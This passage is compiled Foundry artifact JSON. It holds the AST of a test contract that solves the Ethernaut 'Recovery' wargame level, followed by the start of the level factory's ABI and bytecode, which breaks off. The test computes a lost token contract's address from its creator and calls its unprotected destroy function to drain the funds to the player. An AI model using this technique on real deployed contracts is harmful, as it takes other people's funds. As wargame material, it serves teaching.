RecoveryFactory"}],"id":63802,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1219:7:144","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":63801,"name":"address","nodeType":"ElementaryTypeName","src":"1219:7:144","typeDescriptions":{}}},"id":63804,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1219:16:144","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":63800,"name":"Level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55508,"src":"1213:5:144","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Level_$55508_$","typeString":"type(contract Level)"}},"id":63805,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1213:23:144","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}},{"hexValue":"302e303031","id":63806,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1238:11:144","subdenomination":"ether","typeDescriptions":{"typeIdentifier":"t_rational_1000000000000000_by_1","typeString":"int_const 1000000000000000"},"value":"0.001"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"},{"typeIdentifier":"t_rational_1000000000000000_by_1","typeString":"int_const 1000000000000000"}],"id":63798,"name":"createLevelInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66525,"src":"1182:19:144","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_contract$_Ethernaut_$49101_$_t_contract$_Level_$55508_$_t_uint256_$returns$_t_address_$","typeString":"function (contract Ethernaut,contract Level,uint256) returns (address)"}},"id":63807,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1182:68:144","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":63797,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1174:8:144","typeDescriptions":{"typeIdentifier":"t_type$_t_address_payable_$","typeString":"type(address payable)"},"typeName":{"id":63796,"name":"address","nodeType":"ElementaryTypeName","src":"1174:8:144","stateMutability":"payable","typeDescriptions":{}}},"id":63808,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1174:77:144","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":63795,"name":"Recovery","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54732,"src":"1165:8:144","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Recovery_$54732_$","typeString":"type(contract Recovery)"}},"id":63809,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1165:87:144","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Recovery_$54732","typeString":"contract Recovery"}},"src":"1154:98:144","typeDescriptions":{"typeIdentifier":"t_contract$_Recovery_$54732","typeString":"contract Recovery"}},"id":63811,"nodeType":"ExpressionStatement","src":"1154:98:144"},{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":63812,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1262:2:144","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":63814,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1265:9:144","memberName":"stopPrank","nodeType":"MemberAccess","referencedDeclaration":15466,"src":"1262:12:144","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$__$","typeString":"function () external"}},"id":63815,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1262:14:144","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":63816,"nodeType":"ExpressionStatement","src":"1262:14:144"}]},"functionSelector":"0a9254e4","implemented":true,"kind":"function","modifiers":[],"name":"setUp","nameLocation":"690:5:144","parameters":{"id":63717,"nodeType":"ParameterList","parameters":[],"src":"695:2:144"},"returnParameters":{"id":63718,"nodeType":"ParameterList","parameters":[],"src":"705:0:144"},"scope":63905,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":63839,"nodeType":"FunctionDefinition","src":"1535:137:144","nodes":[],"body":{"id":63838,"nodeType":"Block","src":"1562:110:144","nodes":[],"statements":[{"expression":{"arguments":[{"id":63825,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63716,"src":"1586:6:144","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":63822,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1572:2:144","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":63824,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1575:10:144","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"1572:13:144","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":63826,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1572:21:144","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":63827,"nodeType":"ExpressionStatement","src":"1572:21:144"},{"expression":{"arguments":[{"arguments":[{"id":63830,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63709,"src":"1635:9:144","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},{"arguments":[{"id":63833,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63712,"src":"1654:8:144","typeDescriptions":{"typeIdentifier":"t_contract$_Recovery_$54732","typeString":"contract Recovery"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Recovery_$54732","typeString":"contract Recovery"}],"id":63832,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1646:7:144","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":63831,"name":"address","nodeType":"ElementaryTypeName","src":"1646:7:144","typeDescriptions":{}}},"id":63834,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1646:17:144","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},{"typeIdentifier":"t_address","typeString":"address"}],"id":63829,"name":"submitLevelInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66571,"src":"1615:19:144","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_contract$_Ethernaut_$49101_$_t_address_$returns$_t_bool_$","typeString":"function (contract Ethernaut,address) returns (bool)"}},"id":63835,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1615:49:144","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"id":63828,"name":"assertFalse","nodeType":"Identifier","overloadedDeclarations":[314,329],"referencedDeclaration":314,"src":"1603:11:144","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bool_$returns$__$","typeString":"function (bool) pure"}},"id":63836,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1603:62:144","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":63837,"nodeType":"ExpressionStatement","src":"1603:62:144"}]},"documentation":{"id":63819,"nodeType":"StructuredDocumentation","src":"1467:63:144","text":"@notice Check the intial state of the level and enviroment."},"functionSelector":"b5d11e99","implemented":true,"kind":"function","modifiers":[],"name":"testInit","nameLocation":"1544:8:144","parameters":{"id":63820,"nodeType":"ParameterList","parameters":[],"src":"1552:2:144"},"returnParameters":{"id":63821,"nodeType":"ParameterList","parameters":[],"src":"1562:0:144"},"scope":63905,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":63904,"nodeType":"FunctionDefinition","src":"1727:454:144","nodes":[],"body":{"id":63903,"nodeType":"Block","src":"1755:426:144","nodes":[],"statements":[{"expression":{"arguments":[{"id":63846,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63716,"src":"1779:6:144","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"id":63847,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63716,"src":"1787:6:144","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":63843,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1765:2:144","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":63845,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1768:10:144","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15462,"src":"1765:13:144","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_address_$returns$__$","typeString":"function (address,address) external"}},"id":63848,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1765:29:144","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":63849,"nodeType":"ExpressionStatement","src":"1765:29:144"},{"assignments":[63851],"declarations":[{"constant":false,"id":63851,"mutability":"mutable","name":"lostContract","nameLocation":"1821:12:144","nodeType":"VariableDeclaration","scope":63903,"src":"1805:28:144","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":63850,"name":"address","nodeType":"ElementaryTypeName","src":"1805:15:144","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"}],"id":63885,"initialValue":{"arguments":[{"arguments":[{"arguments":[{"arguments":[{"arguments":[{"arguments":[{"arguments":[{"hexValue":"30786436","id":63865,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1953:4:144","typeDescriptions":{"typeIdentifier":"t_rational_214_by_1","typeString":"int_const 214"},"value":"0xd6"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_214_by_1","typeString":"int_const 214"}],"id":63864,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1946:6:144","typeDescriptions":{"typeIdentifier":"t_type$_t_bytes1_$","typeString":"type(bytes1)"},"typeName":{"id":63863,"name":"bytes1","nodeType":"ElementaryTypeName","src":"1946:6:144","typeDescriptions":{}}},"id":63866,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1946:12:144","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes1","typeString":"bytes1"}},{"arguments":[{"hexValue":"30783934","id":63869,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1967:4:144","typeDescriptions":{"typeIdentifier":"t_rational_148_by_1","typeString":"int_const 148"},"value":"0x94"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_148_by_1","typeString":"int_const 148"}],"id":63868,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1960:6:144","typeDescriptions":{"typeIdentifier":"t_type$_t_bytes1_$","typeString":"type(bytes1)"},"typeName":{"id":63867,"name":"bytes1","nodeType":"ElementaryTypeName","src":"1960:6:144","typeDescriptions":{}}},"id":63870,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1960:12:144","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes1","typeString":"bytes1"}},{"arguments":[{"id":63873,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63712,"src":"1982:8:144","typeDescriptions":{"typeIdentifier":"t_contract$_Recovery_$54732","typeString":"contract Recovery"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Recovery_$54732","typeString":"contract Recovery"}],"id":63872,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1974:7:144","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":63871,"name":"address","nodeType":"ElementaryTypeName","src":"1974:7:144","typeDescriptions":{}}},"id":63874,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1974:17:144","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"arguments":[{"hexValue":"30783031","id":63877,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"2000:4:144","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},"value":"0x01"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"}],"id":63876,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1993:6:144","typeDescriptions":{"typeIdentifier":"t_type$_t_bytes1_$","typeString":"type(bytes1)"},"typeName":{"id":63875,"name":"bytes1","nodeType":"ElementaryTypeName","src":"1993:6:144","typeDescriptions":{}}},"id":63878,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1993:12:144","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes1","typeString":"bytes1"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes1","typeString":"bytes1"},{"typeIdentifier":"t_bytes1","typeString":"bytes1"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bytes1","typeString":"bytes1"}],"expression":{"id":63861,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"1929:3:144","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":63862,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"1933:12:144","memberName":"encodePacked","nodeType":"MemberAccess","src":"1929:16:144","typeDescriptions":{"typeIdentifier":"t_function_abiencodepacked_pure$__$returns$_t_bytes_memory_ptr_$","typeString":"function () pure returns (bytes memory)"}},"id":63879,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1929:77:144","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":63860,"name":"keccak256","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-8,"src":"1919:9:144","typeDescriptions":{"typeIdentifier":"t_function_keccak256_pure$_t_bytes_memory_ptr_$returns$_t_bytes32_$","typeString":"function (bytes memory) pure returns (bytes32)"}},"id":63880,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1919:88:144","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"id":63859,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1911:7:144","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"},"typeName":{"id":63858,"name":"uint256","nodeType":"ElementaryTypeName","src":"1911:7:144","typeDescriptions":{}}},"id":63881,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1911:97:144","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":63857,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1882:7:144","typeDescriptions":{"typeIdentifier":"t_type$_t_uint160_$","typeString":"type(uint160)"},"typeName":{"id":63856,"name":"uint160","nodeType":"ElementaryTypeName","src":"1882:7:144","typeDescriptions":{}}},"id":63882,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1882:144:144","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint160","typeString":"uint160"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint160","typeString":"uint160"}],"id":63855,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1857:7:144","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":63854,"name":"address","nodeType":"ElementaryTypeName","src":"1857:7:144","typeDescriptions":{}}},"id":63883,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1857:183:144","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":63853,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1836:8:144","typeDescriptions":{"typeIdentifier":"t_type$_t_address_payable_$","typeString":"type(address payable)"},"typeName":{"id":63852,"name":"address","nodeType":"ElementaryTypeName","src":"1836:8:144","stateMutability":"payable","typeDescriptions":{}}},"id":63884,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1836:214:144","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"nodeType":"VariableDeclarationStatement","src":"1805:245:144"},{"expression":{"arguments":[{"id":63890,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63716,"src":"2095:6:144","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"arguments":[{"id":63887,"name":"lostContract","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63851,"src":"2073:12:144","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":63886,"name":"SimpleToken","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54818,"src":"2061:11:144","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_SimpleToken_$54818_$","typeString":"type(contract SimpleToken)"}},"id":63888,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2061:25:144","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_SimpleToken_$54818","typeString":"contract SimpleToken"}},"id":63889,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2087:7:144","memberName":"destroy","nodeType":"MemberAccess","referencedDeclaration":54817,"src":"2061:33:144","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_payable_$returns$__$","typeString":"function (address payable) external"}},"id":63891,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2061:41:144","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":63892,"nodeType":"ExpressionStatement","src":"2061:41:144"},{"expression":{"arguments":[{"arguments":[{"id":63895,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63709,"src":"2144:9:144","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},{"arguments":[{"id":63898,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63712,"src":"2163:8:144","typeDescriptions":{"typeIdentifier":"t_contract$_Recovery_$54732","typeString":"contract Recovery"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Recovery_$54732","typeString":"contract Recovery"}],"id":63897,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"2155:7:144","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":63896,"name":"address","nodeType":"ElementaryTypeName","src":"2155:7:144","typeDescriptions":{}}},"id":63899,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2155:17:144","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},{"typeIdentifier":"t_address","typeString":"address"}],"id":63894,"name":"submitLevelInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66571,"src":"2124:19:144","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_contract$_Ethernaut_$49101_$_t_address_$returns$_t_bool_$","typeString":"function (contract Ethernaut,address) returns (bool)"}},"id":63900,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2124:49:144","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"id":63893,"name":"assertTrue","nodeType":"Identifier","overloadedDeclarations":[287,302],"referencedDeclaration":287,"src":"2113:10:144","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bool_$returns$__$","typeString":"function (bool) pure"}},"id":63901,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2113:61:144","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":63902,"nodeType":"ExpressionStatement","src":"2113:61:144"}]},"documentation":{"id":63840,"nodeType":"StructuredDocumentation","src":"1678:44:144","text":"@notice Test the solution for the level."},"functionSelector":"832e5fc2","implemented":true,"kind":"function","modifiers":[],"name":"testSolve","nameLocation":"1736:9:144","parameters":{"id":63841,"nodeType":"ParameterList","parameters":[],"src":"1745:2:144"},"returnParameters":{"id":63842,"nodeType":"ParameterList","parameters":[],"src":"1755:0:144"},"scope":63905,"stateMutability":"nonpayable","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[{"baseName":{"id":63703,"name":"Test","nameLocations":["378:4:144"],"nodeType":"IdentifierPath","referencedDeclaration":12027,"src":"378:4:144"},"id":63704,"nodeType":"InheritanceSpecifier","src":"378:4:144"},{"baseName":{"id":63705,"name":"Utils","nameLocations":["384:5:144"],"nodeType":"IdentifierPath","referencedDeclaration":66673,"src":"384:5:144"},"id":63706,"nodeType":"InheritanceSpecifier","src":"384:5:144"}],"canonicalName":"TestRecovery","contractDependencies":[49101,54947,56450,58028],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[63905,66673,12027,11975,6655,6330,5537,3477,2695,65,62],"name":"TestRecovery","nameLocation":"362:12:144","scope":63906,"usedErrors":[],"usedEvents":[100,104,108,112,116,120,124,128,134,140,148,156,162,168,174,180,185,190,195,202,209,216]}],"license":"MIT"},"id":144} \ No newline at end of file diff --git a/contracts/out/RecoveryFactory.sol/RecoveryFactory.json b/contracts/out/RecoveryFactory.sol/RecoveryFactory.json new file mode 100644 index 000000000..bba92d8e5 --- /dev/null +++ b/contracts/out/RecoveryFactory.sol/RecoveryFactory.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"createInstance","inputs":[{"name":"_player","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"payable"},{"type":"function","name":"owner","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"view"},{"type":"function","name":"renounceOwnership","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"transferOwnership","inputs":[{"name":"newOwner","type":"address","internalType":"address"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"validateInstance","inputs":[{"name":"_instance","type":"address","internalType":"address payable"},{"name":"","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"event","name":"OwnershipTransferred","inputs":[{"name":"previousOwner","type":"address","indexed":true,"internalType":"address"},{"name":"newOwner","type":"address","indexed":true,"internalType":"address"}],"anonymous":false}],"bytecode":{"object":"0x608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610df58061007a5f395ff3fe608060405260043610610058575f3560e01c80638da5cb5b116100415780638da5cb5b146100a2578063d38def5b146100be578063f2fde38b14610108575f80fd5b8063715018a61461005c5780637726f77614610072575b5f80fd5b348015610067575f80fd5b50610070610127565b005b610085610080366004610508565b61013a565b6040516001600160a01b0390911681526020015b60405180910390f35b3480156100ad575f80fd5b505f546001600160a01b0316610085565b3480156100c9575f80fd5b506100f86100d836600461052a565b506001600160a01b039081165f9081526001602052604090205416311590565b6040519015158152602001610099565b348015610113575f80fd5b50610070610122366004610508565b6103a2565b61012f610432565b6101385f61048b565b565b5f66038d7ea4c680003410156101975760405162461bcd60e51b815260206004820152601c60248201527f4d7573742073656e64206174206c6561737420302e303031204554480000000060448201526064015b60405180910390fd5b5f6040516101a4906104e7565b604051809103905ff0801580156101bd573d5f803e3d5ffd5b50604080517f3894e5160000000000000000000000000000000000000000000000000000000081526004810191909152600c60448201527f496e697469616c546f6b656e00000000000000000000000000000000000000006064820152620186a060248201529091506001600160a01b03821690633894e516906084015f604051808303815f87803b158015610251575f80fd5b505af1158015610263573d5f803e3d5ffd5b50506040517fd60000000000000000000000000000000000000000000000000000000000000060208201527f940000000000000000000000000000000000000000000000000000000000000060218201526bffffffffffffffffffffffff19606085901b1660228201527f0100000000000000000000000000000000000000000000000000000000000000603682015260370191506102ff9050565b60408051808303601f1901815282825280516020918201206001600160a01b038581165f9081526001909352928220805473ffffffffffffffffffffffffffffffffffffffff19169390911692831790559134908381818185875af1925050503d805f8114610389576040519150601f19603f3d011682016040523d82523d5f602084013e61038e565b606091505b505090508061039b575f80fd5b5092915050565b6103aa610432565b6001600160a01b0381166104265760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f6464726573730000000000000000000000000000000000000000000000000000606482015260840161018e565b61042f8161048b565b50565b5f546001600160a01b031633146101385760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161018e565b5f80546001600160a01b0383811673ffffffffffffffffffffffffffffffffffffffff19831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b61085e8061056283390190565b6001600160a01b038116811461042f575f80fd5b5f60208284031215610518575f80fd5b8135610523816104f4565b9392505050565b5f806040838503121561053b575f80fd5b8235610546816104f4565b91506020830135610556816104f4565b80915050925092905056fe608060405234801561000f575f80fd5b506108418061001d5f395ff3fe608060405234801561000f575f80fd5b50